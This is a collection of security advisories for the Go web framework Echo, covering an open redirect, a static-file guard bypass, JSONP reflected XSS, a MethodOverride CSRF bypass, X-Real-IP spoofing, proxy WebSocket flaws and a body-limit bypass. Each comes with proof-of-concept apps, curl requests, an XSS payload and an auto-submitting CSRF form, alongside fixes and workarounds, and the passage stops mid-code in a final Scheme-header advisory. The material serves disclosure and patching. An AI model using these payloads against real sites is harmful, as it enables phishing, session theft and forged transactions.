• Browser-side trust boundary: the client's URL parser. It is adversary favourable: control characters are stripped and backslashes are normalized before scheme and authority parsing. The attacker does not need any server-side weakness beyond producing the malformed Location.

Note that the newline variant does not survive: net/http replaces CR and LF in header values. TAB does survive, and TAB alone is sufficient because the browser strips it.

Proof of concept

Attached PoC: ECHO-2026-002_poc.zip (in this directory). Extract it and follow ECHO-2026-002/README.md for the full walkthrough. The archive contains a self-contained Go module (go.mod, go.sum, main.go, README.md).

ECHO-2026-002_poc.zip

Quick start:

unzip ECHO-2026-002_poc.zip
cd ECHO-2026-002
# edit go.mod: point the replace directive at your Echo checkout
sed -i 's|=> .*|=> /absolute/path/to/echo|' go.mod
GOFLAGS=-mod=mod go run .          # in-process check
GOFLAGS=-mod=mod go run . -serve   # real listener on 127.0.0.1:18002

Environment used for verification

• OS: Linux 6.18.33.2-microsoft-standard-WSL2, x86_64
• Go: go1.27.0 linux/amd64
• Target: Echo v5.3.1 (module github.com/labstack/echo/v5)
• Browser: headless Chromium drove the end-to-end confirmation

The vulnerable configuration

package main

import (
    "net/http"

    "github.com/labstack/echo/v5"
    "github.com/labstack/echo/v5/middleware"
)

func main() {
    e := echo.New()
    e.Pre(middleware.RemoveTrailingSlashWithConfig(middleware.RemoveTrailingSlashConfig{
        RedirectCode: http.StatusMovedPermanently,
    }))
    e.GET("/", func(c *echo.Context) error { return c.String(200, "home") })
    _ = e.Start("127.0.0.1:18002")
}

Reproduction

In-process check. The program requests five path shapes and applies the browser URL-parsing steps that matter (strip TAB, LF, CR; treat a backslash as a slash; a leading // starts an authority):

GOFLAGS=-mod=mod go run .

GET                          code   Location (control chars shown) browser navigates to
/normal/path/                301    /normal/path           (victim origin)
                             control: ordinary path, sanitized correctly
/%09/attacker.example/x/     301    /^I/attacker.example/x attacker.example
                             exploit: TAB then slash
/%09%5Cattacker.example/x/   301    /^I\attacker.example/x attacker.example
                             exploit: TAB then backslash
/..%09/attacker.example/     301    /..^I/attacker.example (victim origin)
                             NOT exploitable: TAB is not at index 1
/%09//attacker.example/      301    /^I//attacker.example  (victim origin)
                             NOT exploitable: three slashes is an empty authority

RESULT: reproducible. ...

^I is a literal TAB byte. The last two rows are deliberate negatives, included so the mechanism (the guard reads only uri[0] and uri[1]) is unambiguous.

Over the wire, with the -serve variant running on 127.0.0.1:18002:

1. Show the malformed Location on the wire. No backslash is needed for this variant:

curl -s -i --max-time 5 'http://127.0.0.1:18002/%09/attacker.example/x/' | cat -A | head -3
# HTTP/1.1 301 Moved Permanently
# Location: /^I/attacker.example/x

cat -A renders the tab as ^I, confirming it is a literal byte in the header.

2. Show that LF does NOT work, which proves the mechanism is the guard's fixed byte offsets rather than generic header injection:

curl -s -i --max-time 5 'http://127.0.0.1:18002/%0A/attacker.example/x/' | cat -A | head -3
# Location: / /attacker.example/x     (net/http rewrote LF to a space)

3. Confirm a browser leaves the origin. Start any HTTP server on port 18099, then open this URL in a browser:

http://127.0.0.1:18002/%09/127.0.0.1:18099/x/

Observed in headless Chromium:

finalUrl: http://127.0.0.1:18099/x

The browser left the victim origin entirely, so this is a working open redirect, not merely a suspicious header.

Exit status 0 means the finding reproduced; 1 means an expectation was violated.

Impact

An attacker can craft a link on the victim domain that redirects the victim to an arbitrary external site. Practical consequences:

• Phishing: the trusted domain name appears in the link and in the initial navigation, which defeats the usual "check the domain" advice.
• OAuth and SSO token theft: any flow that permits a redirect target on the trusted origin and relies on that origin's redirects being local can be chained to leak authorization codes or access tokens.
• Referrer and cache poisoning of downstream logic that treats the victim origin's redirects as trustworthy.

The client must follow the redirect (user interaction is required), which is why this is scored Medium rather than High, but open redirects on authentication-adjacent origins routinely escalate in practice.

Recommended fixes

Normalize before deciding, instead of probing two fixed offsets.

func sanitizeURI(uri string) string {
	// Strip control characters that browsers remove before parsing, so they cannot
	// be used to shift a separator out of the checked positions.
	uri = strings.Map(func(r rune) rune {
		if r < 0x20 || r == 0x7f {
			return -1
		}
		return r
	}, uri)
	// Collapse any leading separator run (both slash kinds) to a single slash.
	if strings.ContainsAny(uri[:min(len(uri), 1)], `/\`) {
		trimmed := strings.TrimLeft(uri, `/\`)
		if len(trimmed) != len(uri) {
			return "/" + trimmed
		}
	}
	return uri
}

Additional hardening:

1. Reject the request with 400 when the decoded path contains control characters, rather than attempting to sanitize. A path containing a raw TAB or NUL is malformed under RFC 3986 and has no legitimate use.
2. Apply the same normalization to the Location value in Context.Redirect so every caller benefits, instead of relying on each call site to call sanitizeURI.
3. Add a regression test for each variant (%09/, %09%5C, %0A/) against both trailing-slash middlewares. There is currently no test that asserts sanitizeURI behavior at all.

Patches

Fixed in github.com/labstack/echo/v5 v5.4.0 and github.com/labstack/echo/v4 v4.16.0. The trailing slash middlewares and the static directory redirect percent-encode control characters in the redirect path before collapsing leading slashes, so a browser can no longer be sent to another host.

Workarounds

Use the trailing slash middlewares without RedirectCode (the default rewrites the path internally instead of redirecting), or reject request paths that contain control characters before these middlewares.

Summary

When middleware.Static is mounted globally (e.Use(middleware.Static(...))) and an application relies on a route- or group-level middleware guard to restrict a path that also falls under the served static root, a %2F-encoded request bypasses that guard while the file is still served. This is the same encoding/decoding mismatch fixed for StaticFS/StaticDirectoryHandler in CVE-2026-55677 / GHSA-vfp3-v2gw-7wfq, but the fix did not cover the middleware.Static path. In addition, the StaticConfig.EnablePathUnescaping docstring states the default configuration prevents exactly this bypass, which is inaccurate for the global-mount case.

This is not path traversal: no file outside the static root is accessed. The served file lives inside the static root; the issue is that access-control expectations set by a route guard are inconsistent between the literal and %2F-encoded forms of the same path.

Details

Root cause — the router and the static handler disagree on how to interpret %2F:

• The router matches routes on the raw, still-encoded path, so GET /admin%2Fsecret.txt does not match a /admin/... route or group; any middleware attached to that route/group is therefore skipped.
• middleware.Static selects its path source in middleware/static.go (~L219): with a global e.Use mount there is no wildcard route, so it uses c.Request().URL.Path, which net/http has already decoded (%2F → /). It then path.Cleans (~L235) and Opens (~L259) admin/secret.txt, serving the file.

Net effect: for the literal path the guard runs; for the %2F-encoded path the guard is skipped but the same file is served.

Relevant code:

• middleware/static.go ~L219 (p := c.Request().URL.Path), ~L235 (path.Clean), ~L259 (currentFS.Open)
• StaticConfig.EnablePathUnescaping docstring (static.go ~L60-67) — claims the default prevents the /admin%2fprivate.txt → /admin/* guard bypass; this is not true for the global mount.

Relationship to prior advisories:

• CVE-2026-55677 / GHSA-vfp3-v2gw-7wfq (patched 5.2.0): same %2F router-vs-handler mismatch, but fixed for StaticFS/StaticDirectoryHandler. The middleware.Static path was not covered — this report is that gap.
• CVE-2026-25766 / GHSA-pgvm-wxw2-hrv9 (patched 5.0.3): a different issue (Windows backslash traversal outside the root). Referenced only to disambiguate; not the same as this report.

PoC

Environment: golang:1.25, module using the official release (go get github.com/labstack/echo/v5@v5.3.1, no local replace). Static root public/ contains a marker file public/admin/secret.txt = SECRET.

Minimal app (the pattern under test: static served globally + a group guard intended to protect /admin):

package main

import (
	"net/http"

	"github.com/labstack/echo/v5"
	"github.com/labstack/echo/v5/middleware"
)

func main() {
	e := echo.New()
	e.Use(middleware.Static("public")) // serves ./public globally (default filesystem)

	admin := e.Group("/admin", func(next echo.HandlerFunc) echo.HandlerFunc {
		return func(c *echo.Context) error { return c.String(http.StatusUnauthorized, "auth required") }
	})
	admin.GET("/secret.txt", func(c *echo.Context) error { return c.String(http.StatusOK, "handler") })

	e.Start(":1323")
}

Requests (unauthenticated):

# Literal: route matches -> group guard runs
curl -i http://localhost:1323/admin/secret.txt
# => 401

# %2F-encoded: route does NOT match -> guard skipped, but middleware.Static serves the file
curl -i --path-as-is http://localhost:1323/admin%2Fsecret.txt
# => 200, body: SECRET

Observed on v5.3.1: literal → 401; %2F → 200 with the file contents. For contrast, serving via the (patched) e.StaticFS("/") returns 404 for the same %2F request, showing the middleware.Static path was not covered by the CVE-2026-55677 fix.

Impact

An unauthenticated remote user can retrieve a file served by middleware.Static even when the application attached a route/group middleware guard to that path, by substituting / with %2F. The consequence is limited to files already inside the served static root (CWE-863 authorization inconsistency; CWE-436 interpretation conflict) — there is no access to files outside the static root.

Honest caveat on validity / severity: this only has security impact for applications that (a) serve a directory statically to the public and (b) place a sensitive file inside that same directory while relying on a route-level guard to protect it. That combination is arguably a misconfiguration — a statically-served directory is public by design — so maintainers may reasonably classify this as a documentation fix (correct the EnablePathUnescaping claim) or won't-fix rather than a code vulnerability. It is filed primarily because (1) the router-vs-handler %2F inconsistency is the exact class fixed in CVE-2026-55677 but left uncovered for middleware.Static, and (2) the docstring currently promises protection it does not provide.

Patches

Fixed in github.com/labstack/echo/v5 v5.4.0 and github.com/labstack/echo/v4 v4.16.0. With the default settings, the Static middleware resolves files from the same form of the path that the router matched, so percent-encoded paths such as /admin%2Fsecret.txt or /%61dmin/secret.txt no longer reach a file under a guarded route. Paths with ., .. or empty segments are no longer served.

Note: middleware registered with Echo#Use runs before route and group middleware, so route guards never protect files served by a global Static middleware. Keep protected files outside its root directory, or serve them with Echo#Static behind the guard.

Workarounds

Keep files that need protection outside the Static middleware's root directory.

Summary

The Context.JSONP, Context.JSONPBlob, and internal jsonPBlob helper in context.go directly concatenate the caller-supplied callback parameter into a JavaScript response without any validation, escaping, or allow-listing.

This creates a high-impact reflected XSS that can be triggered by any route passing attacker-controlled data (query string, form, header, path param, etc.) into the callback.

Present in current master and v5.1.0 (latest release).

Vulnerable Code (verbatim)

func (c *Context) jsonPBlob(code int, callback string, i any) (err error) {
	c.writeContentType(MIMEApplicationJavaScriptCharsetUTF8)
	c.response.WriteHeader(code)
	if _, err = c.response.Write([]byte(callback + "(")); err != nil {
		return
	}
	if err = c.echo.JSONSerializer.Serialize(c, i, ""); err != nil {
		return
	}
	if _, err = c.response.Write([]byte(");")); err != nil {
		return
	}
	return
}

func (c *Context) JSONP(code int, callback string, i any) (err error) {
	return c.jsonPBlob(code, callback, i)
}

func (c *Context) JSONPBlob(code int, callback string, b []byte) (err error) {
	c.writeContentType(MIMEApplicationJavaScriptCharsetUTF8)
	c.response.WriteHeader(code)
	if _, err = c.response.Write([]byte(callback + "(")); err != nil {
		return
	}
	if _, err = c.response.Write(b); err != nil {
		return
	}
	_, err = c.response.Write([]byte(");"))
	return
}

No sanitization is performed on the callback string.

Exploit (one-request repro)

Any route using the official pattern is vulnerable:

Goe.GET("/api", func(c echo.Context) error {
    return c.JSONP(200, c.QueryParam("callback"), map[string]string{"status": "ok"})
})

Attacker request:

GET /api?callback=alert(document.domain)%2f%2f HTTP/1.1
Host: target.com

Server response:

Content-Type: application/javascript; charset=utf-8

alert(document.domain)//({"status":"ok"});

→ Immediate arbitrary JavaScript execution (full reflected XSS).

Impact

• Session hijacking, cookie theft, account takeover, keylogging, defacement.
• Works even with strict CSP (response is served as application/javascript).

Affected Versions

• All versions ≤ v5.1.0 (including current master)

Workarounds

Manually sanitize the callback before calling JSONP/JSONPBlob:

Gofunc safeCallback(cb string) string {
    if matched, _ := regexp.MatchString(`^[a-zA-Z0-9_.\[\]]+$`, cb); !matched {
        return "callback"
    }
    return cb
}

Or migrate away from JSONP entirely (use CORS + application/json).

References

• https://github.com/labstack/echo/blob/master/context.go
• https://echo.labstack.com/docs/cookbook/jsonp

Patches

Fixed in github.com/labstack/echo/v5 v5.4.0 and github.com/labstack/echo/v4 v4.16.0. Context.JSONP and Context.JSONPBlob accept only a callback that is empty, a JavaScript identifier or a dot-separated path of identifiers (ASCII letters, digits, _ and $); any other callback returns a 400 Bad Request error wrapping ErrInvalidJSONPCallback and nothing is written. JSONP responses also carry X-Content-Type-Options: nosniff.

Workarounds

Validate the callback in your handler before calling Context.JSONP, for example against ^[A-Za-z_$][A-Za-z0-9_$]*(\.[A-Za-z_$][A-Za-z0-9_$]*)*$, and set X-Content-Type-Options: nosniff. JSONP responses can be read by any website with the user's cookies, so do not serve data that requires authentication through JSONP.

Summary

The MethodOverride middleware accepts any non-empty string as the override target method — including safe methods (GET, HEAD, OPTIONS, TRACE) — when rewriting a POST request. When MethodOverride is registered before CSRF in the post-routing middleware chain (e.Use()), it rewrites the request method to a safe method before CSRF evaluates it. The CSRF middleware then skips token validation for the now-safe method, allowing state-changing POST handlers to execute without any CSRF check. Both the legacy token path and the modern Sec-Fetch-Site protection path are bypassed simultaneously.

Affected Component

• middleware/method_override.go — MethodOverrideConfig.ToMiddleware() (lines 55–71): no whitelist on the override target method
• middleware/csrf.go — CSRFConfig.ToMiddleware() (lines 188–189): safe-method bypass branch reads the already-rewritten method
• middleware/csrf.go — checkSecFetchSiteRequest() (line 283): Sec-Fetch-Site safe check also reads the rewritten method

Description

MethodOverride accepts safe methods as override targets

MethodOverrideConfig.ToMiddleware() (method_override.go:55-71) restricts the source method (only POST requests are overrideable) but applies no whitelist to the target:

// method_override.go:61-67
req := c.Request()
if req.Method == http.MethodPost {
    m := config.Getter(c)
    if m != "" {
        req.Method = m   // ← any non-empty string accepted, including "GET"
    }
}

The docstring's security claim — "For security reasons, only POST method can be overridden" — refers only to the source-method restriction. There is no guard preventing POST from being rewritten to GET, HEAD, OPTIONS, or TRACE. The test suite (method_override_test.go) only tests POST→DELETE and POST→PUT; POST→GET is never tested or blocked.

CSRF safe-method branch reads the already-rewritten method

CSRFConfig.ToMiddleware() (csrf.go:188-189) makes its validation decision based on c.Request().Method at the time it runs:

// csrf.go:188-189
switch c.Request().Method {
case http.MethodGet, http.MethodHead, http.MethodOptions, http.MethodTrace:
    // skip validation — no token check
default:
    // validate CSRF token

If MethodOverride has already run and set req.Method = "GET", this switch falls into the skip branch regardless of the original HTTP method or what handler was matched.

The Sec-Fetch-Site-based path in checkSecFetchSiteRequest() (csrf.go:283) is identically vulnerable:

// csrf.go:283
isSafe := slices.Contains(safeMethods, c.Request().Method)

With req.Method = "GET" (already rewritten), isSafe = true and the function returns true — the request is allowed even when Sec-Fetch-Site is cross-site. Both CSRF protection paths are bypassed in a single step.

Execution chain

In echo.go:700, routing and middleware wrapping are performed in one step:

h = applyMiddleware(e.router.Route(c), e.middleware...)

1. e.router.Route(c) evaluates with req.Method = "POST" → matches and binds the POST /transfer handler
2. applyMiddleware wraps it: MethodOverride → CSRF → postHandler

At request execution time: 3. MethodOverride runs: req.Method == "POST" → reads form field _method = "GET" → req.Method = "GET" → calls next 4. CSRF runs: c.Request().Method = "GET" → case http.MethodGet → skips token validation → calls next 5. postHandler runs (the handler matched in step 1 — the original POST /transfer state-change handler)

The state-changing handler executes with no CSRF token validation and with no Sec-Fetch-Site check.

The missing target-method whitelist is the root cause

The legitimate use case for MethodOverride is allowing HTML forms (which only support GET/POST) to send PUT, DELETE, or PATCH requests. There is no legitimate scenario in which an HTML form needs to rewrite POST to GET — that can always be expressed as an ordinary GET request. Allowing POST→GET (and HEAD/OPTIONS/TRACE) serves no valid purpose and is inherently dangerous when any safe-method-aware security middleware (CSRF, logging, audit) appears downstream.

Proof of Concept

package main

import (
    "net/http"
    echo "github.com/labstack/echo/v5"
    "github.com/labstack/echo/v5/middleware"
)

func main() {
    e := echo.New()
    // MethodOverride before CSRF — both in e.Use() (post-routing)
    e.Use(middleware.MethodOverrideWithConfig(middleware.MethodOverrideConfig{
        Getter: middleware.MethodFromForm("_method"),
    }))
    e.Use(middleware.CSRF())
    e.POST("/transfer", func(c *echo.Context) error {
        return c.String(http.StatusOK, "transfer executed")
    })
    e.Logger.Fatal(e.Start(":18080"))
}

# Baseline — CSRF correctly blocks a POST without a valid token
curl -i -X POST 'http://127.0.0.1:18080/transfer' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'amount=100'
# HTTP/1.1 400 Bad Request (missing CSRF token)

# Bypass — _method=GET rewrites method before CSRF runs, skipping token validation
curl -i -X POST 'http://127.0.0.1:18080/transfer' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data '_method=GET&amount=100'
# HTTP/1.1 200 OK
# transfer executed

# Browser-based CSRF PoC (attacker's page, auto-submits on load):
# <form method="POST" action="https://victim.example/transfer" id="f">
#   <input name="_method" value="GET">
#   <input name="amount" value="1000">
#   <input name="to" value="attacker_account">
# </form>
# <script>document.getElementById('f').submit();</script>

The same bypass works with MethodFromHeader (X-HTTP-Method-Override: GET) and MethodFromQuery (?_method=GET).

Impact

• Any state-changing endpoint protected by CSRF() is reachable without a valid CSRF token when the vulnerable middleware ordering is present
• The Sec-Fetch-Site modern-browser CSRF protection is bypassed simultaneously — browsers that support Sec-Fetch-Site provide no additional defense
• Applicable attacks include: fund transfers, password/email changes, account deletion, privilege escalation, data manipulation — any POST-protected operation
• Audit logs may record GET as the HTTP method for what were actually state-changing operations

Recommended Remediation

Option 1: Whitelist only unsafe methods as override targets in MethodOverride (preferred)

The root cause is that MethodOverride accepts safe methods as targets. Restricting the override to legitimately overrideable methods (PUT, PATCH, DELETE) closes the bypass regardless of middleware ordering:

// method_override.go — illustrative fix
var allowedOverrideMethods = map[string]bool{
    http.MethodPut:    true,
    http.MethodPatch:  true,
    http.MethodDelete: true,
}

// in ToMiddleware:
if req.Method == http.MethodPost {
    m := config.Getter(c)
    if m != "" && allowedOverrideMethods[m] {
        req.Method = m
    }
}

Option 2: Use e.Pre() for MethodOverride and document the ordering requirement

Placing MethodOverride in e.Pre() (pre-routing middleware) causes the router to match the overridden method, not the original POST. If only POST /transfer is registered, a POST-to-GET override results in a 405/404 — the handler never executes. Add an explicit documentation warning that MethodOverride must not be placed in e.Use() when CSRF middleware is also registered:

// MethodOverride returns a MethodOverride middleware.
//
// IMPORTANT: Register this middleware with e.Pre(), not e.Use().
// If registered with e.Use() before CSRF middleware, method rewriting
// occurs after route matching but before CSRF validation, allowing
// attackers to bypass CSRF token checks by specifying _method=GET.
func MethodOverride() echo.MiddlewareFunc {

Option 1 is strongly preferred as it closes the vulnerability at the source and is safe regardless of middleware placement.

Credit

This vulnerability was discovered and reported by bugbunny.ai.

Patches

Fixed in github.com/labstack/echo/v5 v5.4.0 and github.com/labstack/echo/v4 v4.16.0. The MethodOverride middleware no longer overrides a POST to GET, HEAD, OPTIONS, TRACE or CONNECT.

Workarounds

Register MethodOverride with Echo#Pre (as documented), register CSRF before MethodOverride, or use the default header getter (X-HTTP-Method-Override), which a cross-site form cannot set.

Summary

The Echo proxy middleware (middleware/proxy.go) preserves an incoming X-Real-IP header verbatim and forwards it to the upstream service when Echo#IPExtractor is not configured — which is the default. Because any HTTP client can supply an arbitrary X-Real-IP value, an attacker can cause Echo to relay a spoofed client IP address to every upstream service behind the proxy, undermining upstream IP-based access controls, rate limiting, audit logging, and geo-restriction.

Affected Component

• middleware/proxy.go — ProxyConfig.ToMiddleware(), header-rewriting block (lines 351–355)

Description

The header-preservation condition passes spoofed values to upstream

ProxyConfig.ToMiddleware() (proxy.go:338-405) prepares forwarding headers before dispatching each request. The X-Real-IP rewrite logic at lines 351-355 reads:

// proxy.go:351-355
// Basically it's not good practice to unconditionally pass incoming x-real-ip header to upstream.
// However, for backward compatibility, legacy behavior is preserved unless you configure Echo#IPExtractor.
if req.Header.Get(echo.HeaderXRealIP) == "" || c.Echo().IPExtractor != nil {
    req.Header.Set(echo.HeaderXRealIP, c.RealIP())
}

The condition is TRUE (and therefore overwrites the header with a derived value) only when:

• The header is absent — req.Header.Get(echo.HeaderXRealIP) == ""; or
• IPExtractor is explicitly configured — c.Echo().IPExtractor != nil

The condition is FALSE — and the header is left unchanged — when the request arrives with an X-Real-IP header already set and IPExtractor is nil. Because Echo.New() leaves IPExtractor as nil, this is the out-of-the-box behaviour for every application that uses Proxy() or ProxyWithConfig() without extra configuration.

An attacker who sets X-Real-IP to any value causes Echo to forward exactly that value to the upstream, with no modification or validation.

The comment in the source code confirms intent and the security gap

The inline comment at line 351-352 explicitly states:

"Basically it's not good practice to unconditionally pass incoming x-real-ip header to upstream. However, for backward compatibility, legacy behavior is preserved unless you configure Echo#IPExtractor."

The framework is aware that the default is insecure and retains it for backward compatibility. No warning appears in the Proxy() or ProxyWithConfig() documentation, so operators who follow the standard setup example receive a silently insecure proxy configuration.

This is structurally identical to the documented insecurity in ip.go:27:

"Note: if you don't set Echo#IPExtractor explicitly, Echo fallback to legacy behavior, which is not a good choice."

Full execution chain

1. Attacker sends GET /api/admin to the Echo proxy with header X-Real-IP: 203.0.113.1 (a trusted corporate IP)
2. ToMiddleware() evaluates the guard at line 353: header is present (!= ""), IPExtractor is nil → condition is FALSE
3. req.Header.Set is not called; the upstream request carries the original, attacker-supplied X-Real-IP: 203.0.113.1
4. Upstream service checks X-Real-IP against its IP allowlist → finds 203.0.113.1 → grants access
5. Attacker reaches an endpoint that should be restricted to the corporate IP range

Secondary impact path (audit poisoning):

• All upstream log entries, rate-limit counters, and geo-restriction checks are evaluated against 203.0.113.1 rather than the real client IP, rendering audit trails and security analytics unreliable.

Proof of Concept

package main

import (
    "fmt"
    "log"
    "net/http"
    echo "github.com/labstack/echo/v5"
    "github.com/labstack/echo/v5/middleware"
)

func main() {
    // Upstream server: echoes back the X-Real-IP it received
    upstream := http.NewServeMux()
    upstream.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
        fmt.Fprintf(w, "upstream sees X-Real-IP: %s\n", r.Header.Get("X-Real-IP"))
    })
    go http.ListenAndServe(":9000", upstream)

    // Echo proxy — IPExtractor deliberately NOT set (the default)
    e := echo.New()
    targets := []*middleware.ProxyTarget{{URL: mustParse("http://127.0.0.1:9000")}}
    e.Use(middleware.Proxy(middleware.NewRoundRobinBalancer(targets)))
    log.Fatal(e.Start(":1323"))
}

# Without spoofed header — upstream sees actual peer address
curl http://127.0.0.1:1323/
# upstream sees X-Real-IP: 127.0.0.1

# With spoofed header — upstream sees attacker-supplied value
curl -H 'X-Real-IP: 198.51.100.77' http://127.0.0.1:1323/
# upstream sees X-Real-IP: 198.51.100.77

The attacker-supplied IP 198.51.100.77 arrives at the upstream unchanged.

Impact

• Upstream IP-based access controls (allowlists, blocklists, geo-restrictions) can be bypassed by supplying the expected IP in X-Real-IP
• Upstream rate limiters that key on X-Real-IP are bypassable (same class as the Echo rate-limiter finding, now on every upstream service)
• Audit logs, intrusion detection systems, and SIEM tools that rely on X-Real-IP record the attacker-chosen IP, not the real source — forensic trails are poisoned
• Any upstream admin endpoint restricted by IP allowlist is reachable by any attacker who knows or guesses a trusted IP address

Recommended Remediation

Option 1: Always overwrite X-Real-IP from an authoritative source (preferred)

Remove the conditional that preserves the incoming header. Echo, as the edge proxy, is the only authoritative source for the real client IP:

// proxy.go — always set X-Real-IP from an authoritative source
req.Header.Set(echo.HeaderXRealIP, c.RealIP())

For this to be safe, operators using Proxy() should also configure IPExtractor:

e.IPExtractor = echo.ExtractIPDirect() // no upstream proxy
// or
e.IPExtractor = echo.ExtractIPFromXFFHeader() // behind a trusted upstream LB

Option 2: Document and warn in Proxy() godoc

If backward compatibility must be preserved, add a prominent security warning to Proxy() and ProxyWithConfig():

// Proxy returns a Proxy middleware.
//
// SECURITY: By default, an incoming X-Real-IP header supplied by the client
// is forwarded to the upstream unchanged. This allows any client to spoof its
// IP identity to upstream services. Configure Echo#IPExtractor before using
// this middleware to ensure X-Real-IP is derived from a trusted source:
//
//   e.IPExtractor = echo.ExtractIPDirect()
//
// See https://echo.labstack.com/guide/ip-address for details.
func Proxy(balancer ProxyBalancer) echo.MiddlewareFunc {

Credit

This vulnerability was discovered and reported by bugbunny.ai.

Patches

Fixed in github.com/labstack/echo/v5 v5.4.0: the Proxy middleware always sets X-Real-IP from Context.RealIP(), which is the address of the direct peer unless Echo#IPExtractor is configured.

github.com/labstack/echo/v4 is not changed, because v4's Context.RealIP() without Echo#IPExtractor trusts X-Forwarded-For and X-Real-IP by design, and changing that default would merge all clients behind a proxy into one rate-limit bucket.

Workarounds

Configure Echo#IPExtractor for your deployment, for example e.IPExtractor = echo.ExtractIPDirect() when there is no proxy in front of the application, or echo.ExtractIPFromXFFHeader() / echo.ExtractIPFromRealIPHeader() (with TrustIPRange for proxies on public addresses). With an extractor set, the Proxy middleware overwrites X-Real-IP in v4 too.

Impact

In Echo v5, ExtractIPFromRealIPHeader checked whether the address supplied in X-Real-IP belonged to a trusted range instead of checking the address of the direct network peer. An untrusted client could therefore supply a loopback or private address and have it returned by c.RealIP() with the extractor's default trust options.

Applications using this extractor for IP allowlists, IP-based rate limiting, audit logs or forwarding headers could accept a spoofed client identity. Exploitation requires that the attacker can reach Echo directly or that an intervening proxy passes through the attacker's X-Real-IP value. Applications using the default direct IP extractor are unaffected. Echo v4 is unaffected by this v5 regression.

Affected versions and patch

All v5 releases from v5.0.0 through v5.4.0 are affected. Upgrade to v5.4.1.

The patch validates the direct peer before accepting a syntactically valid X-Real-IP value, restoring the v4 trust model. Fix commit.

Workarounds

Use ExtractIPDirect until upgrading, or ensure that only trusted proxies can reach Echo and that they replace client-supplied forwarding headers. Configure trusted proxy ranges narrowly for the deployment.

Credits

Reported and patched by @rm-Umar. @Duodum independently reported the same issue in GHSA-c3r7-8j36-7mx8, which is tracked as a duplicate of this advisory.

Impact

Echo's Proxy middleware could retain a handler, copy goroutines and network connections after a WebSocket client disconnected if the upstream kept its connection open. The raw proxy waited for both copy directions to finish without reliably closing the other connection when one direction ended. Rejected upgrade responses with HTTP keep-alive were one way to trigger this behavior.

Repeated connections can accumulate resources and cause denial of service. The impact depends on the proxy route's accessibility, upstream behavior and configured connection deadlines. This is a medium-severity resource-retention issue; no confidentiality or integrity impact is claimed.

Affected versions and patch

Affected versions are v4.15.0 through v4.16.0 and v5.0.0 through v5.4.0. The regression was introduced by commit e2133320c7, merged in #2852.

Upgrade to v4.16.1 or v5.4.1. The patch uses Go's HTTP reverse proxy, preserves ordinary HTTP handling for rejected upgrades, and closes both sides of a WebSocket tunnel when either direction ends. It also covers an upstream that receives client EOF but deliberately keeps its side open.

Fix commits: v4, v5.

Workarounds

Disable WebSocket proxy routes until upgrading, or apply bounded connection lifetimes and resource limits at the frontend and upstream. Server idle timeouts alone may not cover hijacked WebSocket connections.

Credits

Reported by @irisitymichaelgrundberg.

Impact

Echo's Proxy middleware selected a raw tunnel when the client requested a WebSocket upgrade, before validating whether the configured upstream accepted it. If the upstream returned an ordinary HTTP response and kept the connection alive, subsequent HTTP requests on that connection were forwarded directly to the same upstream without passing through Echo's router or route-specific middleware.

This can bypass authentication or authorization enforced only at Echo's routes. Exploitation requires an accessible proxy route, an upstream that rejects the upgrade without closing the connection, and a target resource on that upstream without independent authorization. The issue does not provide arbitrary-host proxying or bypass the upstream's own authentication.

Affected versions and patch

The raw proxy implementation is present throughout the v4 and v5 release lines up to v4.16.0 and v5.4.0. Runtime reproductions confirmed v4.15.0, v4.16.0, v5.0.0 and v5.4.0; source history also shows the missing upgrade-response validation in v4.0.0.

Upgrade to v4.16.1 or v5.4.1. The patch routes WebSocket upgrades through Go's HTTP reverse proxy and enters a tunnel only after a valid upstream upgrade response. Rejected upgrades remain ordinary HTTP requests.

Fix commits: v4, v5.

Workarounds

Reject WebSocket upgrade requests before they reach affected Echo proxy routes, or enforce authorization independently at every upstream resource. Merely returning a non-101 response from the upstream does not prevent the vulnerable raw tunnel.

Credits

Reported by @Duodum.

Impact

Echo v5's BodyDump middleware captured a bounded prefix, drained the remaining request body while ignoring read errors, and then replaced the body with the captured prefix. With an outer BodyLimit, an unknown-length request such as an HTTP/1.1 chunked request, and a BodyDump capture limit below the BodyLimit threshold, an overflow detected during that drain could be discarded.

The handler could consequently process a truncated request and return success even though the original body exceeded the configured limit. This is a conditional size-policy bypass; no general authentication bypass, production data modification or denial of service is claimed. Known-length requests rejected before BodyDump runs are unaffected by this path.

Affected versions and patch

All v5 releases from v5.0.0 through v5.4.0 contain the affected drain-and-replace logic. Runtime reproduction confirmed v5.4.0; source comparison confirms the same request handling in v5.0.0.

Upgrade to v5.4.1. BodyDump now captures only the configured prefix for logging and reconstructs the handler's reader from that prefix plus the unread original stream. It preserves the original closer and read errors instead of silently draining the rest. Fix commit.

Streaming BodyLimit enforcement still requires the application to consume the request body and handle read errors. The BodyDump capture cap is a logging cap, not an application body limit.

Workarounds

Disable BodyDump on affected routes, or ensure the BodyLimit overflow is detected during the initial capture by setting the capture limit above the enforced body limit. Upgrading is recommended because it also preserves the complete body for handlers.

Credits

Reported by @Duodum. The fix incorporates @jakezwang's request-body preservation work in #3105.

Description

Context.Scheme() unconditionally trusts four client-controlled HTTP headers to determine the request scheme, with no mechanism to configure trusted sources. This allows a remote unauthenticated attacker to bypass HTTPS redirect enforcement and suppress HSTS headers.

The trusted headers (checked in this order of precedence):

1. X-Forwarded-Proto
2. X-Forwarded-Protocol
3. X-Forwarded-Ssl
4. X-Url-Scheme

Threat model

Scenario A — Directly exposed application (vulnerable by default): The Echo application listens on HTTP and is reachable directly by clients (no L7 proxy in front), or an attacker can bypass the proxy and reach the backend directly. In this case, the attacker has full control over all request headers. Sending X-Forwarded-Proto: https defeats the HTTPSRedirect middleware entirely — traffic stays on plaintext HTTP, enabling man-in-the-middle attacks.

This is the primary scenario. The application is vulnerable by default with no misconfiguration required — simply using e.Pre(middleware.HTTPSRedirect()) as documented is sufficient.

Scenario B — Behind L7 proxy with header sanitization (reduced risk): If the application is strictly behind a correctly configured L7 proxy that always overwrites X-Forwarded-Proto and there is no direct access to the backend, the practical risk is lower. However, this relies on perimeter controls external to the framework, not on the framework itself. As Echo's own IP-extraction documentation states: "you must not trust HTTP headers unconditionally."

Root cause

context.go, lines 161–181:

func (c *Context) Scheme() string {
    if c.IsTLS() {
        return "https"
    }
    if scheme := c.request.Header.Get(HeaderXForwardedProto); scheme != "" {
        return scheme
    }
    if scheme := c.request.Header.Get(HeaderXForwardedProtocol); scheme != "" {
        return scheme
    }
    if ssl := c.request.Header.Get(HeaderXForwardedSsl); ssl == "on" {
        return "https"
    }
